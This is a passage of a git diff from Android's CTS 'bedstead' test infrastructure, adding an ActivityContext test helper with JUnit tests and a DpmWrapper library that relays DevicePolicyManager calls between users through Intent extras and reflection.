+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.activitycontext;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils.QuadFunction;
+import com.android.compatibility.common.util.ShellIdentityUtils.TriFunction;
+import com.android.eventlib.premade.EventLibActivity;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.function.BiConsumer;
+import java.util.function.BiFunction;
+import java.util.function.Consumer;
+import java.util.function.Function;
+
+import javax.annotation.Nullable;
+
+public class ActivityContext extends EventLibActivity {
+
+    private static final String LOG_TAG = "ActivityContext";
+    private static final Context sContext =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    private static Function<Activity, ?> sRunnable;
+    private static @Nullable Object sReturnValue;
+    private static @Nullable Object sThrowValue;
+    private static CountDownLatch sLatch;
+
+    /**
+     * Run some code using an Activity {@link Context}.
+     *
+     * <p>This method should only be called from an instrumented app.
+     *
+     * <p>The {@link Activity} will be valid within the {@code runnable} callback. Passing the
+     * {@link Activity} outside of the callback is not recommended because it may become invalid
+     * due to lifecycle changes.
+     *
+     * <p>This method will block until the callback has been executed. It will return the same value
+     * as returned by the callback.
+     */
+    public static <E> E getWithContext(Function<Activity, E> runnable) throws InterruptedException {
+        if (runnable == null) {
+            throw new NullPointerException();
+        }
+        synchronized (ActivityContext.class) {
+            sRunnable = runnable;
+
+            sLatch = new CountDownLatch(1);
+            sReturnValue = null;
+            sThrowValue = null;
+
+            Intent intent = new Intent();
+            intent.setClass(sContext, ActivityContext.class);
+            intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+            sContext.startActivity(intent);
+        }
+
+        sLatch.await();
+
+        synchronized (ActivityContext.class) {
+            sRunnable = null;
+
+            if (sThrowValue != null) {
+                if (sThrowValue instanceof RuntimeException) {
+                    throw (RuntimeException) sThrowValue;
+                }
+
+                if (sThrowValue instanceof Error) {
+                    throw (Error) sThrowValue;
+                }
+
+                throw new IllegalStateException("Invalid value for sThrowValue");
+            }
+
+            return (E) sReturnValue;
+        }
+    }
+
+    /** {@link #getWithContext(Function)} which does not return a value. */
+    public static void runWithContext(Consumer<Activity> runnable) throws InterruptedException {
+        getWithContext((inContext) -> {runnable.accept(inContext); return null; });
+    }
+
+    /** {@link #getWithContext(Function)} with an additional argument. */
+    public static <E, F> F getWithContext(E arg1,
+            BiFunction<Activity, E, F> runnable) throws InterruptedException {
+        return getWithContext((inContext) -> runnable.apply(inContext, arg1));
+    }
+
+    /**
+     * {@link #getWithContext(Function)} which takes an additional argument and does not
+     * return a value.
+     */
+    public static <E> void runWithContext(E arg1, BiConsumer<Activity, E> runnable)
+            throws InterruptedException {
+        getWithContext((inContext) -> {runnable.accept(inContext, arg1); return null; });
+    }
+
+    /** {@link #getWithContext(Function)} with two additional arguments. */
+    public static <E, F, G> G getWithContext(E arg1, F arg2,
+            TriFunction<Activity, E, F, G> runnable) throws InterruptedException {
+        return getWithContext((inContext) -> runnable.apply(inContext, arg1, arg2));
+    }
+
+    /** {@link #getWithContext(Function)} with three additional arguments. */
+    public static <E, F, G, H> H getWithContext(E arg1, F arg2, G arg3,
+            QuadFunction<Activity, E, F, G, H> runnable) throws InterruptedException {
+        return getWithContext((inContext) -> runnable.apply(inContext, arg1, arg2, arg3));
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        synchronized (ActivityContext.class) {
+            if (sRunnable == null) {
+                Log.e(LOG_TAG, "Launched ActivityContext without runnable");
+            } else {
+                try {
+                    sReturnValue = sRunnable.apply(this);
+                } catch (RuntimeException | Error e) {
+                    sThrowValue = e;
+                }
+                sLatch.countDown();
+            }
+        }
+    }
+}
diff --git a/common/device-side/bedstead/activitycontext/src/test/AndroidManifest.xml b/common/device-side/bedstead/activitycontext/src/test/AndroidManifest.xml
new file mode 100644
index 0000000..21a5dfc
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/test/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.activitycontext.test">
+    <application
+        android:label="ActivityContext Tests">
+        <uses-library android:name="android.test.runner" />
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.activitycontext.test"
+                     android:label="Activity Context Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/ActivityContextTest.java b/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/ActivityContextTest.java
new file mode 100644
index 0000000..8706d90
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/ActivityContextTest.java
@@ -0,0 +1,200 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.activitycontext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.Activity;
+
+import com.android.compatibility.common.util.BlockingCallback;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Objects;
+import java.util.function.BiConsumer;
+import java.util.function.Consumer;
+
+@RunWith(JUnit4.class)
+public class ActivityContextTest {
+    private static final String STRING_VALUE = "String";
+    private static final int INT_VALUE = 1;
+    private static final boolean BOOLEAN_VALUE = true;
+
+    @Test
+    public void getWithContext_nullRunnable_throwsException() {
+        assertThrows(NullPointerException.class, () -> ActivityContext.getWithContext(null));
+    }
+
+    @Test
+    public void runWithContext_nullRunnable_throwsException() {
+        assertThrows(NullPointerException.class, () -> ActivityContext.runWithContext(null));
+    }
+
+    @Test
+    public void getWithContext_passesActivityContext() throws Exception {
+        boolean contextIsActivityContext = ActivityContext.getWithContext(Objects::nonNull);
+
+        assertThat(contextIsActivityContext).isTrue();
+    }
+
+    @Test
+    public void getWithContext_oneArgument_passesActivityContext() throws Exception {
+        boolean contextIsActivityContext = ActivityContext.getWithContext(
+                STRING_VALUE, (context, str) -> context != null);
+
+        assertThat(contextIsActivityContext).isTrue();
+    }
+
+    @Test
+    public void getWithContext_oneArgument_passesFirstArgument() throws Exception {
+        String passedString = ActivityContext.getWithContext(STRING_VALUE, (context, str) -> str);
+
+        assertThat(passedString).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void getWithContext_twoArguments_passesActivityContext() throws Exception {
+        boolean contextIsActivityContext = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, (context, str, i) -> context != null);
+
+        assertThat(contextIsActivityContext).isTrue();
+    }
+
+    @Test
+    public void getWithContext_twoArguments_passesFirstArgument() throws Exception {
+        String passedString = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, (context, str, i) -> str);
+
+        assertThat(passedString).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void getWithContext_twoArguments_passesSecondArgument() throws Exception {
+        int passedInt = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, (context, str, i) -> i);
+
+        assertThat(passedInt).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void getWithContext_threeArguments_passesActivityContext() throws Exception {
+        boolean contextIsActivityContext = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, BOOLEAN_VALUE,
+                (context, str, i, b) -> context != null);
+
+        assertThat(contextIsActivityContext).isTrue();
+    }
+
+    @Test
+    public void getWithContext_threeArguments_passesFirstArgument() throws Exception {
+        String passedString = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, BOOLEAN_VALUE, (context, str, i, b) -> str);
+
+        assertThat(passedString).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void getWithContext_threeArguments_passesSecondArgument() throws Exception {
+        int passedInt = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, BOOLEAN_VALUE, (context, str, i, b) -> i);
+
+        assertThat(passedInt).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void getWithContext_threeArguments_passesThirdArgument() throws Exception {
+        boolean passedBoolean = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, BOOLEAN_VALUE, (context, str, i, b) -> b);
+
+        assertThat(passedBoolean).isEqualTo(BOOLEAN_VALUE);
+    }
+
+    @Test
+    public void runWithContext_passesActivityContext() throws Exception {
+        BlockingActivityConsumer callback = new BlockingActivityConsumer();
+
+        ActivityContext.runWithContext(callback);
+
+        assertThat(callback.await()).isTrue();
+    }
+
+    private static final class BlockingActivityConsumer extends BlockingCallback<Boolean> implements
+            Consumer<Activity> {
+        @Override
+        public void accept(Activity activity) {
+            callbackTriggered(activity != null);
+        }
+    }
+
+    @Test
+    public void runWithContext_oneArgument_passesActivityContext() throws Exception {
+        BlockingActivityBiConsumerChecksActivity callback =
+                new BlockingActivityBiConsumerChecksActivity();
+
+        ActivityContext.runWithContext(STRING_VALUE, callback);
+
+        assertThat(callback.await()).isTrue();
+    }
+
+    private static final class BlockingActivityBiConsumerChecksActivity
+            extends BlockingCallback<Boolean> implements BiConsumer<Activity, String> {
+        @Override
+        public void accept(Activity activity, String s) {
+            callbackTriggered(activity != null);
+        }
+    }
+
+    @Test
+    public void runWithContext_oneArgument_passesFirstArgument() throws Exception {
+        BlockingActivityBiConsumerReturnsFirstArgument callback =
+                new BlockingActivityBiConsumerReturnsFirstArgument();
+
+        ActivityContext.runWithContext(STRING_VALUE, callback);
+
+        assertThat(callback.await()).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void runWithContext_throwsRuntimeException_isThrownHere() {
+        assertThrows(RuntimeException.class, () -> {
+            ActivityContext.runWithContext((context) -> {
+                throw new RuntimeException();
+            });
+        });
+    }
+
+    @Test
+    public void runWithContext_throwsError_isThrownHere() {
+        assertThrows(AssertionError.class, () -> {
+            ActivityContext.runWithContext((context) -> {
+                throw new AssertionError();
+            });
+        });
+    }
+
+    private static final class BlockingActivityBiConsumerReturnsFirstArgument
+            extends BlockingCallback<String> implements BiConsumer<Activity, String> {
+        @Override
+        public void accept(Activity activity, String s) {
+            callbackTriggered(s);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/Android.bp b/common/device-side/bedstead/dpmwrapper/Android.bp
new file mode 100644
index 0000000..8942701
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+// TODO(b/176993670): hacky DevicePolicyManager implementation that uses ordered broadcasts and a
+// Mockito spy to implement the IPC between users (so tests running on current user can call the
+// device owner running on system user), but before S is shipped it should be replaced by using the
+// connected apps SDK or the new CTS infrastructure.
+java_library {
+    name: "DpmWrapper",
+    platform_apis: true,
+    srcs: [
+        "src/main/java/**/*.java"
+    ],
+    libs: [
+        "androidx.localbroadcastmanager_localbroadcastmanager",
+        "mockito",
+    ],
+}
diff --git a/common/device-side/bedstead/dpmwrapper/OWNERS b/common/device-side/bedstead/dpmwrapper/OWNERS
new file mode 100644
index 0000000..77ef164
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/OWNERS
@@ -0,0 +1,3 @@
+scottjonathan@google.com
+alexkershaw@google.com
+felipeal@google.com
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DataFormatter.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DataFormatter.java
new file mode 100644
index 0000000..75cd7c9
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DataFormatter.java
@@ -0,0 +1,292 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_ARG_PREFIX;
+import static com.android.bedstead.dpmwrapper.Utils.VERBOSE;
+
+import android.annotation.Nullable;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.util.ArraySet;
+import android.util.Log;
+
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+
+final class DataFormatter {
+
+    private static final String TAG = DataFormatter.class.getSimpleName();
+
+    // NOTE: Bundle has a putObject() method that would make it much easier to marshal the args,
+    // but unfortunately there is no Intent.putObjectExtra() method (and intent.getBundle() returns
+    // a copy, so we need to explicitly marshal any supported type).
+    private static final String TYPE_BOOLEAN = "boolean";
+    private static final String TYPE_INT = "int";
+    private static final String TYPE_LONG = "long";
+    private static final String TYPE_BYTE_ARRAY = "byte_array";
+    private static final String TYPE_STRING_OR_CHAR_SEQUENCE = "string";
+    private static final String TYPE_PARCELABLE = "parcelable";
+    private static final String TYPE_SERIALIZABLE = "serializable";
+    private static final String TYPE_ARRAY_LIST_STRING = "array_list_string";
+    private static final String TYPE_ARRAY_LIST_PARCELABLE = "array_list_parcelable";
+    private static final String TYPE_SET_STRING = "set_string";
+    // Used when a method is called passing a null argument - the proper method will have to be
+    // infered using findMethod()
+    private static final String TYPE_NULL = "null";
+
+    static void addArg(Intent intent, Object[] args, int index) {
+        Object value = args[index];
+        String extraTypeName = getArgExtraTypeName(index);
+        String extraValueName = getArgExtraValueName(index);
+        if (VERBOSE) {
+            Log.v(TAG, "addArg(" + index + "): typeName= " + extraTypeName
+                    + ", valueName= " + extraValueName);
+        }
+        if (value == null) {
+            logMarshalling("Adding Null", index, extraTypeName, TYPE_NULL, extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_NULL);
+            return;
+
+        }
+        if ((value instanceof Boolean)) {
+            logMarshalling("Adding Boolean", index, extraTypeName, TYPE_BOOLEAN, extraValueName,
+                    value);
+            intent.putExtra(extraTypeName, TYPE_BOOLEAN);
+            intent.putExtra(extraValueName, ((Boolean) value).booleanValue());
+            return;
+        }
+        if ((value instanceof Integer)) {
+            logMarshalling("Adding Integer", index, extraTypeName, TYPE_INT, extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_INT);
+            intent.putExtra(extraValueName, ((Integer) value).intValue());
+            return;
+        }
+        if ((value instanceof Long)) {
+            logMarshalling("Adding Long", index, extraTypeName, TYPE_LONG, extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_LONG);
+            intent.putExtra(extraValueName, ((Long) value).longValue());
+            return;
+        }
+        if ((value instanceof byte[])) {
+            logMarshalling("Adding Byte[]", index, extraTypeName, TYPE_BYTE_ARRAY, extraValueName,
+                    value);
+            intent.putExtra(extraTypeName, TYPE_BYTE_ARRAY);
+            intent.putExtra(extraValueName, (byte[]) value);
+            return;
+        }
+        if ((value instanceof CharSequence)) {
+            logMarshalling("Adding CharSequence", index, extraTypeName,
+                    TYPE_STRING_OR_CHAR_SEQUENCE, extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_STRING_OR_CHAR_SEQUENCE);
+            intent.putExtra(extraValueName, (CharSequence) value);
+            return;
+        }
+        if ((value instanceof Parcelable)) {
+            logMarshalling("Adding Parcelable", index, extraTypeName, TYPE_PARCELABLE,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_PARCELABLE);
+            intent.putExtra(extraValueName, (Parcelable) value);
+            return;
+        }
+
+        if ((value instanceof List<?>)) {
+            List<?> list = (List<?>) value;
+
+            String type = null;
+            if (list.isEmpty()) {
+                Log.w(TAG, "Empty list at index " + index + "; assuming it's List<String>");
+                type = TYPE_ARRAY_LIST_STRING;
+            } else {
+                Object firstItem = list.get(0);
+                if (firstItem instanceof String) {
+                    type = TYPE_ARRAY_LIST_STRING;
+                } else if (firstItem instanceof Parcelable) {
+                    type = TYPE_ARRAY_LIST_PARCELABLE;
+                } else {
+                    throw new IllegalArgumentException("Unsupported List type at index " + index
+                            + ": " + firstItem);
+                }
+            }
+
+            logMarshalling("Adding " + type, index, extraTypeName, type, extraValueName, value);
+            intent.putExtra(extraTypeName, type);
+            switch (type) {
+                case TYPE_ARRAY_LIST_STRING:
+                    @SuppressWarnings("unchecked")
+                    ArrayList<String> arrayListString = (value instanceof ArrayList)
+                            ? (ArrayList<String>) list
+                            : new ArrayList<>((List<String>) list);
+                    intent.putStringArrayListExtra(extraValueName, arrayListString);
+                    break;
+                case TYPE_ARRAY_LIST_PARCELABLE:
+                    @SuppressWarnings("unchecked")
+                    ArrayList<Parcelable> arrayListParcelable = (value instanceof ArrayList)
+                            ? (ArrayList<Parcelable>) list
+                            : new ArrayList<>((List<Parcelable>) list);
+                    intent.putParcelableArrayListExtra(extraValueName, arrayListParcelable);
+
+                    break;
+                default:
+                    // should never happen because type is checked above
+                    throw new AssertionError("invalid type conversion: " + type);
+            }
+            return;
+        }
+
+        // TODO(b/176993670): ArraySet<> is encapsulate as ArrayList<>, so most of the code below
+        // could be reused (right now it was copy-and-paste from ArrayList<>, minus the Parcelable
+        // part.
+        if ((value instanceof Set<?>)) {
+            Set<?> set = (Set<?>) value;
+
+            String type = null;
+            if (set.isEmpty()) {
+                Log.w(TAG, "Empty set at index " + index + "; assuming it's Set<String>");
+                type = TYPE_SET_STRING;
+            } else {
+                Object firstItem = set.iterator().next();
+                if (firstItem instanceof String) {
+                    type = TYPE_SET_STRING;
+                } else {
+                    throw new IllegalArgumentException("Unsupported Set type at index "
+                            + index + ": " + firstItem);
+                }
+            }
+
+            logMarshalling("Adding " + type, index, extraTypeName, type, extraValueName, value);
+            intent.putExtra(extraTypeName, type);
+            switch (type) {
+                case TYPE_SET_STRING:
+                    @SuppressWarnings("unchecked")
+                    Set<String> stringSet = (Set<String>) value;
+                    intent.putStringArrayListExtra(extraValueName, new ArrayList<>(stringSet));
+                    break;
+                default:
+                    // should never happen because type is checked above
+                    throw new AssertionError("invalid type conversion: " + type);
+            }
+            return;
+        }
+
+        if ((value instanceof Serializable)) {
+            logMarshalling("Adding Serializable", index, extraTypeName, TYPE_SERIALIZABLE,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_SERIALIZABLE);
+            intent.putExtra(extraValueName, (Serializable) value);
+            return;
+        }
+
+        throw new IllegalArgumentException("Unsupported value type at index " + index + ": "
+                + (value == null ? "null" : value.getClass()));
+    }
+
+    static void getArg(Bundle extras, Object[] args, @Nullable Class<?>[] parameterTypes,
+            int index) {
+        String extraTypeName = getArgExtraTypeName(index);
+        String extraValueName = getArgExtraValueName(index);
+        String type = extras.getString(extraTypeName);
+        if (VERBOSE) {
+            Log.v(TAG, "getArg(" + index + "): typeName= " + extraTypeName + ", type=" + type
+                    + ", valueName= " + extraValueName);
+        }
+        Object value = null;
+        switch (type) {
+            case TYPE_NULL:
+                logMarshalling("Got null", index, extraTypeName, type, extraValueName, value);
+                break;
+            case TYPE_SET_STRING:
+                @SuppressWarnings("unchecked")
+                ArrayList<String> list = (ArrayList<String>) extras.get(extraValueName);
+                value = new ArraySet<String>(list);
+                logMarshalling("Got ArraySet<String>", index, extraTypeName, type, extraValueName,
+                        value);
+                break;
+            case TYPE_ARRAY_LIST_STRING:
+            case TYPE_ARRAY_LIST_PARCELABLE:
+            case TYPE_BYTE_ARRAY:
+            case TYPE_BOOLEAN:
+            case TYPE_INT:
+            case TYPE_LONG:
+            case TYPE_STRING_OR_CHAR_SEQUENCE:
+            case TYPE_PARCELABLE:
+            case TYPE_SERIALIZABLE:
+                value = extras.get(extraValueName);
+                logMarshalling("Got generic", index, extraTypeName, type, extraValueName, value);
+                break;
+            default:
+                throw new IllegalArgumentException("Unsupported value type at index " + index + ": "
+                        + extraTypeName);
+        }
+        if (parameterTypes != null) {
+            Class<?> parameterType = null;
+            switch (type) {
+                case TYPE_NULL:
+                    break;
+                case TYPE_BOOLEAN:
+                    parameterType = boolean.class;
+                    break;
+                case TYPE_INT:
+                    parameterType = int.class;
+                    break;
+                case TYPE_LONG:
+                    parameterType = long.class;
+                    break;
+                case TYPE_STRING_OR_CHAR_SEQUENCE:
+                    // A String is a CharSequence, but most methods take String, so we're assuming
+                    // a string and handle the exceptional cases on findMethod()
+                    parameterType = String.class;
+                    break;
+                case TYPE_BYTE_ARRAY:
+                    parameterType = byte[].class;
+                    break;
+                case TYPE_ARRAY_LIST_STRING:
+                    parameterType = List.class;
+                    break;
+                case TYPE_SET_STRING:
+                    parameterType = Set.class;
+                    break;
+                default:
+                    parameterType = value.getClass();
+            }
+            parameterTypes[index] = parameterType;
+        }
+        args[index] = value;
+    }
+
+    static String getArgExtraTypeName(int index) {
+        return EXTRA_ARG_PREFIX + index + "_type";
+    }
+
+    static String getArgExtraValueName(int index) {
+        return EXTRA_ARG_PREFIX + index + "_value";
+    }
+
+    private static void logMarshalling(String operation, int index, String typeName,
+            String type, String valueName, Object value) {
+        if (VERBOSE) {
+            Log.v(TAG, operation + " on " + index + ": typeName=" + typeName + ", type=" + type
+                    + ", valueName=" + valueName + ", value=" + value);
+        }
+    }
+
+    private DataFormatter() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java
new file mode 100644
index 0000000..6c04ed7
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static com.android.bedstead.dpmwrapper.DataFormatter.addArg;
+import static com.android.bedstead.dpmwrapper.DataFormatter.getArg;
+import static com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory.RESULT_EXCEPTION;
+import static com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory.RESULT_OK;
+import static com.android.bedstead.dpmwrapper.Utils.ACTION_WRAPPED_MANAGER_CALL;
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_CLASS;
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_METHOD;
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_NUMBER_ARGS;
+import static com.android.bedstead.dpmwrapper.Utils.VERBOSE;
+import static com.android.bedstead.dpmwrapper.Utils.isHeadlessSystemUser;
+
+import android.annotation.Nullable;
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
+import java.lang.reflect.Method;
+import java.util.Arrays;
+
+/**
+ * Helper class used by the device owner apps.
+ */
+public final class DeviceOwnerHelper {
+
+    private static final String TAG = DeviceOwnerHelper.class.getSimpleName();
+
+    /**
+     * Executes a method requested by the test app.
+     *
+     * <p>Typical usage:
+     *
+     * <pre><code>
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (DeviceOwnerAdminReceiverHelper.runManagerMethod(this, context, intent)) return;
+            super.onReceive(context, intent);
+        }
+</code></pre>
+     *
+     * @return whether the {@code intent} represented a method that was executed.
+     */
+    public static boolean runManagerMethod(DeviceAdminReceiver receiver, Context context,
+            Intent intent) {
+        String action = intent.getAction();
+        Log.d(TAG, "onReceive(): user=" + context.getUserId() + ", action=" + action);
+
+        if (!action.equals(ACTION_WRAPPED_MANAGER_CALL)) return false;
+
+        try {
+            String className = intent.getStringExtra(EXTRA_CLASS);
+            String methodName = intent.getStringExtra(EXTRA_METHOD);
+            int numberArgs = intent.getIntExtra(EXTRA_NUMBER_ARGS, 0);
+            Log.d(TAG, "onReceive(): userId=" + context.getUserId()
+                    + ", intent=" + intent.getAction() + ", class=" + className
+                    + ", methodName=" + methodName + ", numberArgs=" + numberArgs);
+            Object[] args = null;
+            Class<?>[] parameterTypes = null;
+            if (numberArgs > 0) {
+                args = new Object[numberArgs];
+                parameterTypes = new Class<?>[numberArgs];
+                Bundle extras = intent.getExtras();
+                for (int i = 0; i < numberArgs; i++) {
+                    getArg(extras, args, parameterTypes, i);
+                }
+                Log.d(TAG, "onReceive(): args=" + Arrays.toString(args) + ", types="
+                        + Arrays.toString(parameterTypes));
+
+            }
+            Class<?> managerClass = Class.forName(className);
+            Method method = findMethod(managerClass, methodName, parameterTypes);
+            if (method == null) {
+                sendError(receiver, new IllegalArgumentException(
+                        "Could not find method " + methodName + " using reflection"));
+                return true;
+            }
+            Object manager = managerClass.equals(DevicePolicyManager.class)
+                    ? receiver.getManager(context)
+                    : context.getSystemService(managerClass);
+
+            Object result = method.invoke(manager, args);
+            Log.d(TAG, "onReceive(): result=" + result);
+            sendResult(receiver, result);
+        } catch (Exception e) {
+            sendError(receiver, e);
+        }
+
+        return true;
+    }
+
+    /**
+     * Called by the device owner  {@link DeviceAdminReceiver} to broadcasts an intent back to the
+     * test case app.
+     */
+    public static void sendBroadcastToTestCaseReceiver(Context context, Intent intent) {
+        if (isHeadlessSystemUser()) {
+            TestAppCallbacksReceiver.sendBroadcast(context, intent);
+            return;
+        }
+        LocalBroadcastManager.getInstance(context).sendBroadcast(intent);
+    }
+
+    @Nullable
+    private static Method findMethod(Class<?> clazz, String methodName, Class<?>[] parameterTypes)
+            throws NoSuchMethodException {
+        // Handle some special cases first...
+
+        // Methods that use CharSequence instead of String
+        if (methodName.equals("wipeData") && parameterTypes.length == 2) {
+            // wipeData() takes a CharSequence, but it's wrapped as String
+            return clazz.getDeclaredMethod(methodName,
+                    new Class<?>[] { int.class, CharSequence.class });
+        }
+
+        // Calls with null parameters (and hence the type cannot be inferred)
+        Method method = findMethodWithNullParameterCall(clazz, methodName, parameterTypes);
+        if (method != null) return method;
+
+        // ...otherwise return exactly what as asked
+        return clazz.getDeclaredMethod(methodName, parameterTypes);
+    }
+
+    @Nullable
+    private static Method findMethodWithNullParameterCall(Class<?> clazz, String methodName,
+            Class<?>[] parameterTypes) {
+        if (parameterTypes == null) return null;
+
+        boolean hasNullParameter = false;
+        for (int i = 0; i < parameterTypes.length; i++) {
+            if (parameterTypes[i] == null) {
+                if (VERBOSE) {
+                    Log.v(TAG, "Found null parameter at index " + i + " of " + methodName);
+                }
+                hasNullParameter = true;
+                break;
+            }
+        }
+        if (!hasNullParameter) return null;
+
+        Method method = null;
+        for (Method candidate : clazz.getDeclaredMethods()) {
+            if (candidate.getName().equals(methodName)) {
+                if (method != null) {
+                    // TODO: figure out how to solve this scenario if it happen (most likely it will
+                    // need to use the non-null types and/or length of types to infer the right one
+                    Log.e(TAG, "found another method (" + candidate + ") for " + methodName
+                            + ", but will use " + method);
+                } else {
+                    method = candidate;
+                    Log.d(TAG, "using method " + method + " for " + methodName
+                            + " with null arguments");
+                }
+            }
+        }
+        return method;
+    }
+
+    private static void sendError(DeviceAdminReceiver receiver, Exception e) {
+        Log.e(TAG, "Exception handling wrapped DPC call" , e);
+        sendNoLog(receiver, RESULT_EXCEPTION, e);
+    }
+
+    private static void sendResult(DeviceAdminReceiver receiver, Object result) {
